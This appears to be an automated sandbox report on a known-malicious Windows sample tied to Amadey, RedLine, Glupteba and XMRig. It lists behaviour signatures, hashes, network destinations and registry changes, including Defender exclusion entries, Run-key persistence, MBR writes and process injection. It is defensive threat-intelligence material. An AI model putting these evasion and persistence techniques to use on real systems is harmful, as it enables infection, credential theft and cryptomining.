Analysis Overview
SHA256
ea8797f6bf9eef153945b926ac7a1a82caae9eac7e20dbdbb3738f072fc80926
Threat Level: Known bad
The file 870cdf639a6dd069bac616b77b0cb1a7.bin was found to be: Known bad.
Malicious Activity Summary
RedLine payload
Glupteba
xmrig
Glupteba payload
RedLine
Amadey
Windows security bypass
Identifies VirtualBox via ACPI registry values (likely anti-VM)
Modifies boot configuration data using bcdedit
XMRig Miner payload
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Stops running service(s)
Creates new service(s)
Possible attempt to disable PatchGuard
Modifies Windows Firewall
Unexpected DNS network traffic destination
Windows security modification
Checks BIOS information in registry
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Reads user/profile data of web browsers
UPX packed file
Identifies Wine through registry keys
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Writes to the Master Boot Record (MBR)
Adds Run key to start application
Suspicious use of SetThreadContext
Drops file in System32 directory
Suspicious use of NtSetInformationThreadHideFromDebugger
Checks for VirtualBox DLLs, possible anti-VM trick
Launches sc.exe
Drops file in Program Files directory
Drops file in Windows directory
Enumerates physical storage devices
Program crash
Unsigned PE
Suspicious use of FindShellTrayWindow
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Modifies data under HKEY_USERS
Modifies system certificate store
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-14 02:28
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-14 02:28
Reported
2024-05-14 02:30
Platform
win10v2004-20240508-en
Max time kernel
143s
Max time network
118s
Command Line
Signatures
Amadey
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Identifies Wine through registry keys
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Tasks\axplons.job | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2888 wrote to memory of 3472 | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe |
| PID 2888 wrote to memory of 3472 | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe |
| PID 2888 wrote to memory of 3472 | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe
"C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe"
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| RU | 5.42.96.7:80 | 5.42.96.7 | tcp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 7.96.42.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/2888-0-0x00000000000C0000-0x000000000056F000-memory.dmp
memory/2888-1-0x0000000077294000-0x0000000077296000-memory.dmp
memory/2888-2-0x00000000000C1000-0x00000000000EF000-memory.dmp
memory/2888-3-0x00000000000C0000-0x000000000056F000-memory.dmp
memory/2888-5-0x00000000000C0000-0x000000000056F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
| MD5 | 870cdf639a6dd069bac616b77b0cb1a7 |
| SHA1 | 1f63671412b0638f6abaebfb35f16d03b5ba09e0 |
| SHA256 | 69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b |
| SHA512 | a3752e2e49254adc4dcd6b6c055bb8e4d3df8bec0c5a971f82c1d410b8bcdabfb383b4bb06fe3b6e676362fc467a6595ba6f5ce1f7051ecc294a79a74885f903 |
memory/3472-18-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2888-17-0x00000000000C0000-0x000000000056F000-memory.dmp
memory/3472-19-0x0000000000151000-0x000000000017F000-memory.dmp
memory/3472-20-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-21-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-22-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-23-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-24-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-25-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-26-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-27-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2080-30-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-29-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2080-31-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2080-32-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2080-33-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-34-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-35-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-36-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-37-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-38-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-39-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2524-41-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/2524-42-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-43-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-44-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-45-0x0000000000150000-0x00000000005FF000-memory.dmp
memory/3472-46-0x0000000000150000-0x00000000005FF000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-14 02:28
Reported
2024-05-14 02:30
Platform
win7-20240508-en
Max time kernel
97s
Max time network
150s
Command Line
Signatures
Amadey
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Windows security bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4767d2e713f2021e8fe856e3ea638b58.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\VSozrSmvvJbgNogj2HKP4yqT.exe = "0" | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Creates new service(s)
Downloads MZ/PE file
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Possible attempt to disable PatchGuard
Stops running service(s)
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7zS5080.tmp\Install.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Control Panel\International\Geo\Nation | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | N/A |
Executes dropped EXE
Identifies Wine through registry keys
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Wine | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Unexpected DNS network traffic destination
| Description | Indicator | Process | Target |
| Destination IP | 54.76.133.21 | N/A | N/A |
| Destination IP | 54.76.133.21 | N/A | N/A |
| Destination IP | 54.76.133.21 | N/A | N/A |
| Destination IP | 54.76.133.21 | N/A | N/A |
| Destination IP | 54.76.133.21 | N/A | N/A |
| Destination IP | 54.76.133.21 | N/A | N/A |
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4767d2e713f2021e8fe856e3ea638b58.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\VSozrSmvvJbgNogj2HKP4yqT.exe = "0" | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.com | N/A | N/A |
| N/A | iplogger.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\Pictures\79TVunzqn8oFTxY7fbshBY63.exe | N/A |
| File opened for modification | \??\PhysicalDrive0 | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\ProgramData\wikombernizc\reakuqnanrkn.exe | N/A |
| File opened for modification | \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1276 set thread context of 2936 | N/A | C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe |
| PID 3172 set thread context of 2804 | N/A | C:\ProgramData\wikombernizc\reakuqnanrkn.exe | C:\Windows\system32\conhost.exe |
| PID 3172 set thread context of 1020 | N/A | C:\ProgramData\wikombernizc\reakuqnanrkn.exe | C:\Windows\explorer.exe |
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe | N/A |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe | N/A |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\Pictures\puBsQofSqmAXhLQoasjcQtSs.exe | N/A |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\Pictures\ZLimXO62tTyJT8FrTmQzwrb2.exe | N/A |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\Pictures\ECcWzypzPVYF0v0avsQX7zMd.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\installc.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\GameService.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\status.txt | C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\installc.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\installm.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\GameSyncLink\GameService.exe | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
| File created | C:\Program Files (x86)\360\Total Security\writeable_test_259474325.dat | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | N/A |
| File opened for modification | C:\Program Files (x86)\GameSyncLink\installg.bat | C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe | N/A |
